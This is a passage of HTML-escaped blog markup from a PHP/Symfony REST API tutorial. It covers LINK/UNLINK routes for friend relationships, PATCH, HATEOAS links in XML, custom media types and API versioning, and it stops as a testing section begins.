                &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;call_user_func_array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$controller&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$arguments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

                &lt;span class=&quot;c1&quot;&gt;// By convention the controller action must return an array&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;is_array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

                &lt;span class=&quot;c1&quot;&gt;// The key of first item is discarded&lt;/span&gt;
                &lt;span class=&quot;nv&quot;&gt;$links&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$idx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;current&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$event&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;attributes&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;links&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$links&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;urlMatcher&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getContext&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;setMethod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$requestMethod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, you can create a new route:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;acme_demo_user_link&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;pattern&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;/users/{id}&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;defaults&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_controller&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;AcmeDemoBundle&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;link&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_format&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;~&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;requirements&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;_method&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;LINK&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And the code of the action looks like:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;

    &lt;span class=&quot;cd&quot;&gt;/**
     * @Rest\View(statusCode=204)
     */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;linkAction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;User&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Request&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;attributes&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;has&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;links&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;HttpException&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;400&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;attributes&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;links&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$u&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;instanceof&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;NotFoundHttpException&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;Invalid resource&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;hasFriend&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;HttpException&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;409&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;Users are already friends&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

            &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;addFriend&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;save&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If users are already friends, you will get a response with a &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;409&lt;/code&gt;&lt;/strong&gt; status
code which means &lt;em&gt;Conflict&lt;/em&gt;. If there is no link header, it’s a bad request
(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;400&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;And it would be the same thing to remove friends. There is a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UNLINK&lt;/code&gt; HTTP verb
too.&lt;/p&gt;

&lt;p&gt;Last thing I didn’t explain is the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATCH&lt;/code&gt; verb, I mean what would be a use case
for such a verb? The answer is partial update or every other methods that are
either not safe, unsure or not idempotent. If you have a custom API method, and
you don’t know which verb to use, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATCH&lt;/code&gt; is probably the answer.&lt;/p&gt;

&lt;p&gt;Assuming you allow your users to change their email thanks to a third party
client, then again it’s for some good business reasons. This client uses a two
steps process. The user asks for changing his email, he gets an email with a
link and this link allows him to change his email. Let’s skip the first part
and focus on the second one. The user sends a new password to the client, and
the client has to call your API.
Either this client will fetch the resource, and replace it or you are smart and
you provide a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATCH&lt;/code&gt; method.&lt;/p&gt;

&lt;h3 id=&quot;lets-patch-the-world&quot;&gt;Let’s PATCH the world&lt;/h3&gt;

&lt;p&gt;This section has been removed as it described a wrong way to use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATCH&lt;/code&gt;
method. You can read this: &lt;a href=&quot;/2014/02/14/please-don&apos;t-patch-like-that/&quot;&gt;Please. Don’t Patch Like An
Idiot.&lt;/a&gt;. It covers how to update
user’s email, using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATCH&lt;/code&gt; method the right way, but not in PHP
unfortunately.&lt;/p&gt;

&lt;p&gt;So now, what’s the plan? We use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PUT&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DELETE&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LINK&lt;/code&gt;, and
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UNLINK&lt;/code&gt; verbs. We are able to create, read, update, delete a user. We can get
all users, and add relationships between them.&lt;/p&gt;

&lt;p&gt;Actually, regarding the &lt;a href=&quot;http://www.crummy.com/writing/speaking/2008-QCon/act3.html&quot;&gt;Richardson Maturity
Model&lt;/a&gt;,
we just covered the level 2. Let’s take a look at &lt;strong&gt;HATEOAS&lt;/strong&gt; and unlock the
level 3!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://williamdurand.fr/images/posts/richardson_maturity_model.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;hate-who&quot;&gt;Hate who?&lt;/h3&gt;

&lt;p&gt;HATEOAS is not about hating people, but you could hate this movement if you are
a true pragmatic programmer. It basically means &lt;strong&gt;H&lt;/strong&gt;ypermedia &lt;strong&gt;A&lt;/strong&gt;s &lt;strong&gt;T&lt;/strong&gt;he
&lt;strong&gt;E&lt;/strong&gt;ngine &lt;strong&gt;O&lt;/strong&gt;f &lt;strong&gt;A&lt;/strong&gt;pplication &lt;strong&gt;S&lt;/strong&gt;tate. To me, it looks like a &lt;strong&gt;semantic
dimension&lt;/strong&gt; you bring into your APIs.&lt;/p&gt;

&lt;p&gt;Earlier in this article I talked about the format used to exchange information
between a client and your API. JSON is not the best choice when you want to
follow HATEOAS principles even if some
&lt;a href=&quot;https://github.com/kevinswiber/siren&quot;&gt;people tried to provide solutions&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Let’s convert our &lt;em&gt;User&lt;/em&gt; representation in XML:&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;user&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;id&amp;gt;&lt;/span&gt;999&lt;span class=&quot;nt&quot;&gt;&amp;lt;/id&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;username&amp;gt;&lt;/span&gt;xxxx&lt;span class=&quot;nt&quot;&gt;&amp;lt;/username&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;email&amp;gt;&lt;/span&gt;xxxx@example.org&lt;span class=&quot;nt&quot;&gt;&amp;lt;/email&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/user&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is the output you could get by requesting the XML format as a client. There
is nothing HATEOAS here. The first step is the addition of &lt;strong&gt;links&lt;/strong&gt;:&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;user&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;id&amp;gt;&lt;/span&gt;999&lt;span class=&quot;nt&quot;&gt;&amp;lt;/id&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;username&amp;gt;&lt;/span&gt;xxxx&lt;span class=&quot;nt&quot;&gt;&amp;lt;/username&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;email&amp;gt;&lt;/span&gt;xxxx@example.org&lt;span class=&quot;nt&quot;&gt;&amp;lt;/email&amp;gt;&lt;/span&gt;

    &lt;span class=&quot;nt&quot;&gt;&amp;lt;link&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://example.com/users/999&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rel=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;self&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/user&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This was easy, we just added the link that references the user you fetched. But
if you get a paginate collection of users, you could get:&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;users&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;user&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;id&amp;gt;&lt;/span&gt;999&lt;span class=&quot;nt&quot;&gt;&amp;lt;/id&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;username&amp;gt;&lt;/span&gt;xxxx&lt;span class=&quot;nt&quot;&gt;&amp;lt;/username&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;email&amp;gt;&lt;/span&gt;xxxx@example.org&lt;span class=&quot;nt&quot;&gt;&amp;lt;/email&amp;gt;&lt;/span&gt;

        &lt;span class=&quot;nt&quot;&gt;&amp;lt;link&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://example.com/users/999&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rel=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;self&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;link&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://example.com/users/999/friends&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rel=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;friends&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/user&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;user&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;id&amp;gt;&lt;/span&gt;123&lt;span class=&quot;nt&quot;&gt;&amp;lt;/id&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;username&amp;gt;&lt;/span&gt;foobar&lt;span class=&quot;nt&quot;&gt;&amp;lt;/username&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;email&amp;gt;&lt;/span&gt;foobar@example.org&lt;span class=&quot;nt&quot;&gt;&amp;lt;/email&amp;gt;&lt;/span&gt;

        &lt;span class=&quot;nt&quot;&gt;&amp;lt;link&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://example.com/users/123&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rel=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;self&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;link&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://example.com/users/123/friends&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rel=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;friends&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/user&amp;gt;&lt;/span&gt;

    &lt;span class=&quot;nt&quot;&gt;&amp;lt;link&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://example.com/users?page=1&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rel=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;prev&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;link&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://example.com/users?page=2&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rel=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;self&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;link&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://example.com/users?page=3&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rel=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;next&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/users&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now the client knows how to browse the collection, how to use the pager, and how
to fetch a user and/or its friends.&lt;/p&gt;

&lt;p&gt;The second part is about adding &lt;strong&gt;media types&lt;/strong&gt; to answer the question:
&lt;strong&gt;What?&lt;/strong&gt;. What is this resource? What does it contain or what do I need to
create such a resource?&lt;/p&gt;

&lt;p&gt;This part introduces your own &lt;strong&gt;content type&lt;/strong&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Content-Type: application/vnd.yourname.something+xml
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Our users will now have the following content type:
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;application/vnd.acme.user+xml&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;user&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;id&amp;gt;&lt;/span&gt;999&lt;span class=&quot;nt&quot;&gt;&amp;lt;/id&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;username&amp;gt;&lt;/span&gt;xxxx&lt;span class=&quot;nt&quot;&gt;&amp;lt;/username&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;email&amp;gt;&lt;/span&gt;xxxx@example.org&lt;span class=&quot;nt&quot;&gt;&amp;lt;/email&amp;gt;&lt;/span&gt;

    &lt;span class=&quot;nt&quot;&gt;&amp;lt;link&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://example.com/users/999&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rel=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;self&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;

    &lt;span class=&quot;nt&quot;&gt;&amp;lt;link&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rel=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;friends&quot;&lt;/span&gt;
          &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;application/vnd.acme.user+xml&quot;&lt;/span&gt;
          &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://example.com/users/999/friends&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/user&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Last, but not the least, you can add versioning to your API in three different
ways. First, you can add the version number in your URIs, this is the easy way:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/api/v1/users
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can use your new content type:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;application/vnd.acme.user-v1+xml
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Or you can also use a qualifier in your &lt;strong&gt;Accept&lt;/strong&gt; header, that way you don’t
touch your content type:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;application/vnd.acme.user+xml;v=1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It’s really up to you. The first solution is easy but less RESTful than the two
other solutions. But those solutions require more smart clients.&lt;/p&gt;

&lt;h3 id=&quot;testing&quot;&gt;Testing&lt;/h3&gt;

&lt;p&gt;To be honest, if you decide to expose your API to your customers, this section
is the most important. You can decide to follow the REST approach or not, but
your API has to work perfectly, and that means well tested.&lt;/p&gt;

